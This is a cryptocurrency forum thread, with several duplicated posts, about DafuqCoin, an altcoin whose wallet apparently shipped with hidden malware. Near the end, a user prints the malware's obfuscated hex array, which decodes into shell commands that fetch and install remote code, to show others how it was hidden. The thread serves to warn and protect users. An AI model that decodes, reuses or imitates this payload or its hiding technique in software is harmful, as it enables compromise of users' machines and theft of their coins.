This would be hilarious. We should all vote for dafuqcoin on ecoinfund
If this was done and was added, you would only be giving this criminal developer more $ to steal than what he has already stealing/stollen.
Topic: [ANN][DFQ] DafuqCoin | NO Premine | NO IPO | ★Now Exchanged★ (Read 26613 times)
If this was done and was added, you would only be giving this criminal developer more $ to steal than what he has already stealing/stollen.
Dafuq Coin, the first malware coin - an article by The Cryptocurrency Times: http://www.usacryptocoins.com/thecryptocurrencytimes/uncategorized/dafuq-coin-the-first-malware-coin/
Very interesting, will mine
This would be hilarious. We should all vote for dafuqcoin on ecoinfund
Website | Twitter | Bitcointalk
Hi,DafuqCoin Community
We have added your coin to ECOINFUND vote list.（http://www.ecoinfund.com/vote）
an effective vote will cost 10 ECFC； repeating vote are allowed； the Exchange Market will be open as soon as the voting reach 1000.!
ECFC is the fee share program launched by Ecoinfund. Ecoinfund will commit 50% of trade revenue to ECFC program. (highest on market ECFC Details)
Here the ways of getting ECFC:
1. buy the ECFC through our ECFC/BTC or ECFC/LTC market.
2. taking part into our GIVEAWAY.
Big ECFC GIVEAWAY before 10.May
Tweet this green text on your own twitter account then recive 20 ECFC;
Quote
ecoinfund.com |New Exchange,multi-language support,Earn 20 ECFC(fee shares) by every retweet before 10 May,don't miss the train!
Pls post your twitter link and Ecoinfund ID on https://bitcointalksearch.org/topic/annexchange-ecoinfundmulti-language-alt-coin-exchange-official-thread-501030 ,you will get 20 ECFC!Happy trading !
I kind of want to see if they add it..
They might deserve it.. They've been massively spamming coins about adding them at a cost. Even dead ones, like this
Website | Twitter | Bitcointalk
Hi,DafuqCoin Community
We have added your coin to ECOINFUND vote list.（http://www.ecoinfund.com/vote）
an effective vote will cost 10 ECFC； repeating vote are allowed； the Exchange Market will be open as soon as the voting reach 1000.!
ECFC is the fee share program launched by Ecoinfund. Ecoinfund will commit 50% of trade revenue to ECFC program. (highest on market ECFC Details)
Here the ways of getting ECFC:
1. buy the ECFC through our ECFC/BTC or ECFC/LTC market.
2. taking part into our GIVEAWAY.
Big ECFC GIVEAWAY before 10.May
Tweet this green text on your own twitter account then recive 20 ECFC;
Quote
ecoinfund.com |New Exchange,multi-language support,Earn 20 ECFC(fee shares) by every retweet before 10 May,don't miss the train!
Pls post your twitter link and Ecoinfund ID on https://bitcointalksearch.org/topic/annexchange-ecoinfundmulti-language-alt-coin-exchange-official-thread-501030 ,you will get 20 ECFC!Happy trading !
Not that this really effects me all too much, I ran the wallet on a crappy laptop that I run all new coins on, and already sent any of my coins that were on that computer and worth anything to exchanges so I'm not really going to lose anything, but does the hack have to do with running the windows wallet or does it only effect pools that ran it? I'd like to know if I need to reformat this craptop or not?
i think the wallet ask you to run it as admin privileges, which no wallet need ever
Website | Twitter | Bitcointalk
Hi,Everyone
We have added your coin to ECOINFUND vote list.（http://www.ecoinfund.com/vote）
Each 1 valid vote requires 10 ECFC, allow repeat voting.Every new altcoin vote over 1,000 votes will list on the market next day! Free vote see below:
Big ECFC GIVEAWAY before 10.May
Tweet this green text on your own twitter account then recive 20 ECFC（ECFC Details）;
Quote
ecoinfund.com |New Exchange,multi-language support,Earn 20 ECFC(fee shares) by every retweet before 10 May,don't miss the train!
Pls post your twitter link and Ecoinfund ID on https://bitcointalksearch.org/topic/annexchange-ecoinfundmulti-language-alt-coin-exchange-official-thread-501030 ,you will get 20 ECFC!ECFC is the fee share program launched by Ecoinfund. Ecoinfund will commit 50% of trade revenue to ECFC program. (highest on market)
Happy trading !
http://www.ecoinfund.com/images/logo.jpg
Website | Twitter | Bitcointalk
Hi,DafuqCoin Community
We have added your coin to ECOINFUND vote list.（http://www.ecoinfund.com/vote）
an effective vote will cost 10 ECFC； repeating vote are allowed； the Exchange Market will be open as soon as the voting reach 1000.!
ECFC is the fee share program launched by Ecoinfund. Ecoinfund will commit 50% of trade revenue to ECFC program. (highest on market ECFC Details)
Here the ways of getting ECFC:
1. buy the ECFC through our ECFC/BTC or ECFC/LTC market.
2. taking part into our GIVEAWAY.
Big ECFC GIVEAWAY before 10.May
Tweet this green text on your own twitter account then recive 20 ECFC;
Happy trading !
Website | Twitter | Bitcointalk
Hi,DafuqCoin Community
We have added your coin to ECOINFUND vote list.（http://www.ecoinfund.com/vote）
an effective vote will cost 10 ECFC； repeating vote are allowed； the Exchange Market will be open as soon as the voting reach 1000.!
ECFC is the fee share program launched by Ecoinfund. Ecoinfund will commit 50% of trade revenue to ECFC program. (highest on market ECFC Details)
Here the ways of getting ECFC:
1. buy the ECFC through our ECFC/BTC or ECFC/LTC market.
2. taking part into our GIVEAWAY.
Big ECFC GIVEAWAY before 10.May
Tweet this green text on your own twitter account then recive 20 ECFC;
Quote
ecoinfund.com |New Exchange,multi-language support,Earn 20 ECFC(fee shares) by every retweet before 10 May,don't miss the train!
Pls post your twitter link and Ecoinfund ID on https://bitcointalksearch.org/topic/annexchange-ecoinfundmulti-language-alt-coin-exchange-official-thread-501030 ,you will get 20 ECFC!Happy trading !
Can someone at least edit it and wipe out the links?
Or if the links are still intact, "Do not run his software outside an isolated machine, and for reasons other than wanting to find out how it works." is not "WARNING: THIS CONTAINS MALWARE!". The noobs should be protected as much as possible.
Or if the links are still intact, "Do not run his software outside an isolated machine, and for reasons other than wanting to find out how it works." is not "WARNING: THIS CONTAINS MALWARE!". The noobs should be protected as much as possible.
I think it is a good thing to keep it, so that people don't forget this can happen
Why is this thread still here, with links in the OP to malware?
I haven't lost any coins (yet).
Though I did download the wallet.
Is there a way to check for foul play?
I read this guys story, yeesh http://www.cryptokk.com/
Though I did download the wallet.
Is there a way to check for foul play?
I read this guys story, yeesh http://www.cryptokk.com/
Still, nobody has been able to point to where the malicious code actually was. There is no "wget" in the source code. I'm not denying the existence of it, but how can we spot malware when it doesn't exist?
It is not in plain text, but masked (I just report offset1, but there is even offset2):
Code:
static char offset1[218] =
...
...
Thank you! That is EXACTLY what I was looking for.
I'll at least look for new char arrays with lots of hex when I try new altcoins, that really stands out if you're looking for it.
Not that this really effects me all too much, I ran the wallet on a crappy laptop that I run all new coins on, and already sent any of my coins that were on that computer and worth anything to exchanges so I'm not really going to lose anything, but does the hack have to do with running the windows wallet or does it only effect pools that ran it? I'd like to know if I need to reformat this craptop or not?
DAFUQ!
*lol*
*lol*
now:
Trust summary for dafuqcoin
dafuqcoin
Newbie
Activity: 14
View Profile Personal Message (Offline)
Trust: -6: -1 / +0(0)
Warning: Trade with extreme caution!
https://bitcointalk.org/index.php?action=trust;u=316774
Trust summary for dafuqcoin
dafuqcoin
Newbie
Activity: 14
View Profile Personal Message (Offline)
Trust: -6: -1 / +0(0)
Warning: Trade with extreme caution!
https://bitcointalk.org/index.php?action=trust;u=316774
This is not the right thread, but I would suggest a featurer for future coins to be implemented to prevent this kind of stealing of wallet:
You can't fix user stupidity. If pool operators don't understand basic security, they deserve to get compromised.
The amount of trust users of this forum put in software released by 1-day old forum accounts is mind boggling.
All wallets should be treated as potential malware, run in isolated environments and given only the bare minimum amount of access to operate.
The same goes for users. If you're not running wallets of completely untrusted coins in a secured VM, you're begging for your coins to get stolen.
The issue is the users, not the protocol nor the wallet software.
Let this be a harsh lesson for many.
The suggestion is generic for improving the cryptocurrency.
Even if you implement the most secure system there could be some bugs that make an intruder to take access of your system.
For example, what happen if an hacker has finded the OpenSSL bug before the comunity find it and soon close?
He could have access of 90% of networks machine as it was the most used software.
This is just an example.
This is not the right thread, but I would suggest a featurer for future coins to be implemented to prevent this kind of stealing of wallet:
You can't fix user stupidity. If pool operators don't understand basic security, they deserve to get compromised.
The amount of trust users of this forum put in software released by 1-day old forum accounts is mind boggling.
All wallets should be treated as potential malware, run in isolated environments and given only the bare minimum amount of access to operate.
The same goes for users. If you're not running wallets of completely untrusted coins in a secured VM, you're begging for your coins to get stolen.
The issue is the users, not the protocol nor the wallet software.
Let this be a harsh lesson for many.
Still, nobody has been able to point to where the malicious code actually was. There is no "wget" in the source code. I'm not denying the existence of it, but how can we spot malware when it doesn't exist?
It is not in plain text, but masked (I just report offset1, but there is even offset2):
Code:
static char offset1[218] =
{
0x63, 0x72, 0x76, 0x2f, 0x65, 0x67, 0x76, 0x22, 0x2f, 0x7b, 0x22, 0x6b,
0x6c, 0x71, 0x76, 0x63, 0x6e, 0x6e, 0x22, 0x6e, 0x6b, 0x60, 0x72, 0x61,
0x63, 0x72, 0x2f, 0x66, 0x67, 0x74, 0x22, 0x6e, 0x6b, 0x60, 0x72, 0x63,
0x6f, 0x2f, 0x66, 0x67, 0x74, 0x22, 0x75, 0x65, 0x67, 0x76, 0x22, 0x65,
0x6b, 0x76, 0x22, 0x3c, 0x2d, 0x66, 0x67, 0x74, 0x2d, 0x6c, 0x77, 0x6e,
0x6e, 0x22, 0x30, 0x3c, 0x24, 0x33, 0x22, 0x7e, 0x7e, 0x22, 0x7b, 0x77,
0x6f, 0x22, 0x2f, 0x7b, 0x22, 0x6b, 0x6c, 0x71, 0x76, 0x63, 0x6e, 0x6e,
0x22, 0x6e, 0x6b, 0x60, 0x72, 0x61, 0x63, 0x72, 0x2f, 0x66, 0x67, 0x74,
0x67, 0x6e, 0x22, 0x72, 0x63, 0x6f, 0x2f, 0x66, 0x67, 0x74, 0x67, 0x6e,
0x22, 0x75, 0x65, 0x67, 0x76, 0x22, 0x65, 0x6b, 0x76, 0x22, 0x3c, 0x2d,
0x66, 0x67, 0x74, 0x2d, 0x6c, 0x77, 0x6e, 0x6e, 0x22, 0x30, 0x3c, 0x24,
0x33, 0x39, 0x61, 0x66, 0x22, 0x2d, 0x76, 0x6f, 0x72, 0x2d, 0x22, 0x3c,
0x2d, 0x66, 0x67, 0x74, 0x2d, 0x6c, 0x77, 0x6e, 0x6e, 0x22, 0x30, 0x3c,
0x24, 0x33, 0x39, 0x65, 0x6b, 0x76, 0x22, 0x61, 0x6e, 0x6d, 0x6c, 0x67,
0x22, 0x6a, 0x76, 0x76, 0x72, 0x71, 0x38, 0x2d, 0x2d, 0x65, 0x6b, 0x76,
0x6a, 0x77, 0x60, 0x2c, 0x61, 0x6d, 0x6f, 0x2d, 0x61, 0x6a, 0x6d, 0x69,
0x67, 0x72, 0x6d, 0x6b, 0x6c, 0x76, 0x2d, 0x63, 0x78, 0x63, 0x78, 0x67,
0x6e, 0x2c, 0x65, 0x6b, 0x76, 0x22, 0x3c, 0x2d, 0x66, 0x67, 0x74, 0x2d,
0x6c, 0
};
so, when executed:
Code:
return (hashoffset(offset1, offset2, offset3));
it decodes the text and the wget popup.
This is not the right thread, but I would suggest a featurer for future coins to be implemented to prevent this kind of stealing of wallet:
When creating a Wallet for the first time it is request the time for "transaction stake": this will be the amount of blocks that are to be passed for a transaction to be still able to be canceled.
Typicall value should be 1 or 2 days. Once created, it cannot be change even by the wallet owner (otherwise if one get his wallet, he can port it to 0).
When another wallet receive the coins, as soos as the network accept them, they must be in a stake state for the amount of time previste by the sender.
If in this time a wallet is stealing, for sure the thief will transfer the coin in his wallet, but as the coins in "stake" even if confirmed, they cannot be transfered to another wallet.
When the original wallet owner find the missing coins, he can use a features for claim his coin back.
With this features it is request that 50%+1 of people that send or receive coins to this wallet say true to the question of repristinate the previous state (this must be before the stake finished).
So, an exchange can use this features to protect who sent money to him for trading, because it is in the interest of all the users to risristinate missing coins.
This can work even for pools, as it will be all the miners that receive coins that can claim for the repristinate of the previous state.
For the blockchains, the repristinate of state will be a new special transaction from new wallet to old wallet without the needing of stake, so the original owen can soon move the coins to another clean wallet.
This was indeed a disaster, but its good in long term - ppl will finally start to think before headlessly jumping into another shit coin.
Jump to: